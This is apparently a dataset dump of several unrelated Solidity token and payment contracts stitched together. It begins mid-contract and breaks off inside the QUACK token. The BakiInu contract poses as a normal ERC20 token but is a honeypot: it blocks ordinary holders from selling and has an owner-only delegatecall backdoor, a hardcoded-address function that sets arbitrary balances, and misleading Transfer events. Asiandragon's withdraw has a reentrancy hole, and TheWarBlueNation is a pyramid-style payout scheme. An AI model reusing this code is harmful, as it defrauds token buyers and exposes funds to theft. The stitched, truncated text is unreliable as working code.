returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,734
pragma solidity 0.4.25; contract ReentrancyGuard { uint256 private _guardCounter; constructor() internal { _guardCounter = 1; } modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter); } } contract PublicData { uint public health = 100; uint internal mana = 50; string private secret = "foo"; } contract auction { address highestBidder; uint highestBid; mapping(address => uint) refunds; function bid() payable external { require(msg.value >= highestBid); if (highestBidder != address(0)) { refunds[highestBidder] += highestBid; } highestBidder = msg.sender; highestBid = msg.value; } function withdrawRefund() external { uint refund = refunds[msg.sender]; refunds[msg.sender] = 0; msg.sender.transfer(refund); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Asiandragon is StandardToken { string public constant name = "Asian Dragon"; string public constant symbol = "AD"; string public version = 'H1.0'; uint8 public constant decimals = 8; uint256 public constant INITIAL_SUPPLY = 500000000 * (10 ** uint256(decimals)); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { if(msg.sender.call.value(_amount)()) { _amount; } balances[msg.sender] -= _amount; } } }
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pragma solidity ^0.4.21; contract IFinancialStrategy{ enum State { Active, Refunding, Closed } State public state = State.Active; event Deposited(address indexed beneficiary, uint256 weiAmount); event Receive(address indexed beneficiary, uint256 weiAmount); event Refunded(address indexed beneficiary, uint256 weiAmount); event Started(); event Closed(); event RefundsEnabled(); function freeCash() view public returns(uint256); function deposit(address _beneficiary) external payable; function refund(address _investor) external; function setup(uint8 _state, bytes32[] _params) external; function getBeneficiaryCash() external; function getPartnerCash(uint8 _user, address _msgsender) external; } contract ICreator{ IRightAndRoles public rightAndRoles; function createAllocation(IToken _token, uint256 _unlockPart1, uint256 _unlockPart2) external returns (IAllocation); function createFinancialStrategy() external returns(IFinancialStrategy); function getRightAndRoles() external returns(IRightAndRoles); } contract IRightAndRoles { address[][] public wallets; mapping(address => uint16) public roles; event WalletChanged(address indexed newWallet, address indexed oldWallet, uint8 indexed role); event CloneChanged(address indexed wallet, uint8 indexed role, bool indexed mod); function changeWallet(address _wallet, uint8 _role) external; function setManagerPowerful(bool _mode) external; function onlyRoles(address _sender, uint16 _roleMask) view external returns(bool); } contract MigrationAgent { function migrateFrom(address _from, uint256 _value) public; } contract GuidedByRoles { IRightAndRoles public rightAndRoles; function GuidedByRoles(IRightAndRoles _rightAndRoles) public { rightAndRoles = _rightAndRoles; } } contract Pausable is GuidedByRoles { mapping (address => bool) public unpausedWallet; event Pause(); event Unpause(); bool public paused = true; modifier whenNotPaused(address _to) { require(!paused||unpausedWallet[msg.sender]||unpausedWallet[_to]); _; } function onlyAdmin() internal view { require(rightAndRoles.onlyRoles(msg.sender,3)); } function setUnpausedWallet(address _wallet, bool mode) public { onlyAdmin(); unpausedWallet[_wallet] = mode; } function setPause(bool mode) public { require(rightAndRoles.onlyRoles(msg.sender,1)); if (!paused && mode) { paused = true; emit Pause(); }else if (paused && !mode) { paused = false; emit Unpause(); } } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract MigratableToken is BasicToken,GuidedByRoles { uint256 public totalMigrated; address public migrationAgent; event Migrate(address indexed _from, address indexed _to, uint256 _value); function setMigrationAgent(address _migrationAgent) public { require(rightAndRoles.onlyRoles(msg.sender,1)); require(totalMigrated == 0); migrationAgent = _migrationAgent; } function migrateInternal(address _holder) internal{ require(migrationAgent != 0x0); uint256 value = balances[_holder]; balances[_holder] = 0; totalSupply_ = totalSupply_.sub(value); totalMigrated = totalMigrated.add(value); MigrationAgent(migrationAgent).migrateFrom(_holder, value); emit Migrate(_holder,migrationAgent,value); } function migrateAll(address[] _holders) public { require(rightAndRoles.onlyRoles(msg.sender,1)); for(uint i = 0; i < _holders.length; i++){ migrateInternal(_holders[i]); } } function migrate() public { require(balances[msg.sender] > 0); migrateInternal(msg.sender); } } contract BurnableToken is BasicToken, GuidedByRoles { event Burn(address indexed burner, uint256 value); function burn(address _beneficiary, uint256 _value) public { require(rightAndRoles.onlyRoles(msg.sender,1)); require(_value <= balances[_beneficiary]); balances[_beneficiary] = balances[_beneficiary].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_beneficiary, _value); emit Transfer(_beneficiary, address(0), _value); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function minus(uint256 a, uint256 b) internal pure returns (uint256) { if (b>=a) return 0; return a - b; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, GuidedByRoles { event Mint(address indexed to, uint256 amount); event MintFinished(); function mint(address _to, uint256 _amount) public returns (bool) { require(rightAndRoles.onlyRoles(msg.sender,1)); totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } } contract IToken{ function setUnpausedWallet(address _wallet, bool mode) public; function mint(address _to, uint256 _amount) public returns (bool); function totalSupply() public view returns (uint256); function setPause(bool mode) public; function setMigrationAgent(address _migrationAgent) public; function migrateAll(address[] _holders) public; function burn(address _beneficiary, uint256 _value) public; function freezedTokenOf(address _beneficiary) public view returns (uint256 amount); function defrostDate(address _beneficiary) public view returns (uint256 Date); function freezeTokens(address _beneficiary, uint256 _amount, uint256 _when) public; } contract IAllocation { function addShare(address _beneficiary, uint256 _proportion, uint256 _percenForFirstPart) external; } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused(_to) returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused(_to) returns (bool) { return super.transferFrom(_from, _to, _value); } } contract FreezingToken is PausableToken { struct freeze { uint256 amount; uint256 when; } mapping (address => freeze) freezedTokens; function freezedTokenOf(address _beneficiary) public view returns (uint256 amount){ freeze storage _freeze = freezedTokens[_beneficiary]; if(_freeze.when < now) return 0; return _freeze.amount; } function defrostDate(address _beneficiary) public view returns (uint256 Date) { freeze storage _freeze = freezedTokens[_beneficiary]; if(_freeze.when < now) return 0; return _freeze.when; } function freezeTokens(address _beneficiary, uint256 _amount, uint256 _when) public { require(rightAndRoles.onlyRoles(msg.sender,1)); freeze storage _freeze = freezedTokens[_beneficiary]; _freeze.amount = _amount; _freeze.when = _when; } function masFreezedTokens(address[] _beneficiary, uint256[] _amount, uint256[] _when) public { onlyAdmin(); require(_beneficiary.length == _amount.length && _beneficiary.length == _when.length); for(uint16 i = 0; i < _beneficiary.length; i++){ freeze storage _freeze = freezedTokens[_beneficiary[i]]; _freeze.amount = _amount[i]; _freeze.when = _when[i]; } } function transferAndFreeze(address _to, uint256 _value, uint256 _when) external { require(unpausedWallet[msg.sender]); require(freezedTokenOf(_to) == 0); if(_when > 0){ freeze storage _freeze = freezedTokens[_to]; _freeze.amount = _value; _freeze.when = _when; } transfer(_to,_value); } function transfer(address _to, uint256 _value) public returns (bool) { require(balanceOf(msg.sender) >= freezedTokenOf(msg.sender).add(_value)); return super.transfer(_to,_value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(balanceOf(_from) >= freezedTokenOf(_from).add(_value)); return super.transferFrom( _from,_to,_value); } } contract Token is IToken, FreezingToken, MintableToken, MigratableToken, BurnableToken{ function Token(ICreator _creator) GuidedByRoles(_creator.rightAndRoles()) public {} string public constant name = "Imigize"; string public constant symbol = "IMGZ"; uint8 public constant decimals = 18; }
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pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract BakiInu{ event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1132167815322823072539476364451924570945755492656)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
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pragma solidity ^0.4.24; contract TheWarBlueNation { struct _Tx { address txuser; uint txvalue; } _Tx[] public Tx; uint public counter; address owner; modifier onlyowner { if (msg.sender == owner) _; } constructor () public { owner = msg.sender; } function() public payable { require(msg.value>=0.01 ether); Sort(); } function Sort() internal { uint feecounter; feecounter=msg.value/5; owner.send(feecounter); feecounter=0; uint txcounter=Tx.length; counter=Tx.length; Tx.length++; Tx[txcounter].txuser=msg.sender; Tx[txcounter].txvalue=msg.value; } function Count(uint end, uint start) public onlyowner { while (end>start) { Tx[end].txuser.send((Tx[end].txvalue/1000)*200); end-=1; } } }
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pragma solidity ^0.8.13; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract QUACK is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) public bots; uint256 private _tTotal = 100000000 * 10**8; uint256 private _contractAutoLpLimitToken = 1000000000000000000; uint256 private _taxFee; uint256 private _buyTaxMarketing = 5; uint256 private _sellTaxMarketing = 9; uint256 private _autoLpFee = 3; uint256 private _LpPercentBase100 = 35; address payable private _taxWallet; address payable private _contractPayment; uint256 private _maxTxAmount; uint256 private _maxWallet; string private constant _name = "QUACK"; string private constant _symbol = "QUACK"; uint8 private constant _decimals = 8; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; event SwapAndLiquify( uint256 tokensSwapped, uint256 coinReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _contractPayment = payable(address(this)); _taxFee = _buyTaxMarketing + _autoLpFee; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount = _tTotal.mul(2).div(10**2); _maxWallet = _tTotal.mul(4).div(10**2); _balance[address(this)] = _tTotal; emit Transfer(address(0x0), address(this), _tTotal); } function maxTxAmount() public view returns (uint256){ return _maxTxAmount; } function maxWallet() public view returns (uint256){ return _maxWallet; } function isInSwap() public view returns (bool) { return _inSwap; } function isSwapEnabled() public view returns (bool) { return _swapEnabled; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setSellMarketingTax(uint256 taxFee) external onlyOwner() { _sellTaxMarketing = taxFee; } function setBuyMarketingTax(uint256 taxFee) external onlyOwner() { _buyTaxMarketing = taxFee; } function setAutoLpFee(uint256 taxFee) external onlyOwner() { _autoLpFee = taxFee; } function setContractAutoLpLimit(uint256 newLimit) external onlyOwner() { _contractAutoLpLimitToken = newLimit; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to], "This account is blacklisted"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); require(_canTrade,"Trading not started"); require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); } if (from == _pair) { _taxFee = buyTax(); } else { _taxFee = sellTax(); } uint256 contractTokenBalance = balanceOf(address(this)); if(!_inSwap && from != _pair && _swapEnabled) { if(contractTokenBalance >= _contractAutoLpLimitToken) { swapAndLiquify(contractTokenBalance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 autoLpTokenBalance = contractTokenBalance.mul(_LpPercentBase100).div(10**2); uint256 marketingAmount = contractTokenBalance.sub(autoLpTokenBalance); uint256 half = autoLpTokenBalance.div(2); uint256 otherHalf = autoLpTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(half); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidityAuto(newBalance, otherHalf); emit SwapAndLiquify(half, newBalance, otherHalf); swapTokensForEth(marketingAmount); sendETHToFee(marketingAmount); } function buyTax() private view returns (uint256) { return (_autoLpFee + _buyTaxMarketing); } function sellTax() private view returns (uint256) { return (_autoLpFee + _sellTaxMarketing); } function setMaxTx(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function createPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidityInitial() external payable onlyOwner { 